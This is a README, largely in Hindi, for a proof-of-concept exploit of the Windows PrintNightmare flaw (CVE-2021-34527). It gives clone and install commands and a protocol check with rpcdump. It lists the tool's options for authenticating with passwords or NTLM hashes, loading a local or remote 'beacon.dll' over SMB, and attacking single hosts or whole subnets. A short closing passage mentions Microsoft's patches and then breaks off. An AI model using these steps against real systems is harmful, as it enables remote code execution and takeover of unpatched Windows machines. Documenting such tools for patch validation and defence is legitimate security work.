
PrintNightmare (CVE-2021-34527) PoC Exploit
PrintNightmare शोषण का यह संस्करण Cube0x0 द्वारा बनाए गए कोड पर आधारित है, जिसमें निम्नलिखित विशेषताएं हैं:
MS-RPRN और MS-PAR दोनों प्रोटोकॉल शामिल हैं (CMD तर्कों में परिभाषित करें)।चलाने से पहले, impacket का नवीनतम संस्करण स्थापित करें:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup install
git clone https://github.com/m8sec/CVE-2021-34527
cd CVE-2021-34527
python3 CVE-2021-34527.py -h
Impacket के rpcdump.py का उपयोग MS-PAR और MS-RPRN प्रोटोकॉल की जांच के लिए किया जा सकता है:
>> rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
वैकल्पिक रूप से, byt3bl33d3r का स्कैनर ItWasAllADream का उपयोग लक्ष्यों को स्कैन करने और PrintNightmare RCE भेद्यता को मान्य करने के लिए किया जा सकता है।

-v VERBOSE Enable verbose logging from SMB server
-t TIMEOUT Connection timeout
Authentication:
-u USERNAME Set username
-H HASH, -hashes Use NTLM Hash for authentication
-p PASSWORD Set password
-d DOMAIN Set domain
--local-auth Authenticate to target host, no domain
DLL Execution:
-dll DLL Path to local DLL file to execute "beacon.dll"
--remote-dll REMOTE_DLL Remote dll "\\192.168.1.25\Share\beacon.dll"
-share SHARE Set local SMB share name
--local-ip LOCAL_IP Set local IP (defaults to primary interface)
Target(s):
-pDriverPath PDRIVERPATH Define Driver path. Example 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL'
-port [destination port] Destination port to connect to SMB Server
-proto {MS-RPRN,MS-PAR} Target protocol (Default=MS-RPRN)
target 192.168.2.2, target.txt, 10.0.0.0/24 (positional)
Microsoft ने PrintNightmare के लिए कई पैच जारी किए हैं, जिनमें नवीनतम सितंबर 2021 के पैच मंगलवार को जारी किया गया था। इसने अंतर्निहित भेद्यता और बाद में खोजे गए वर्कअराउंड को संबोधित किया। अधिक जानकारी के लिए, Microsoft के आधिकारिक मार्गदर्शन पर जाएँ:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
इस भेद्यता को कम करने के लिए अतिरिक्त रणनीतियाँ में शामिल हैं: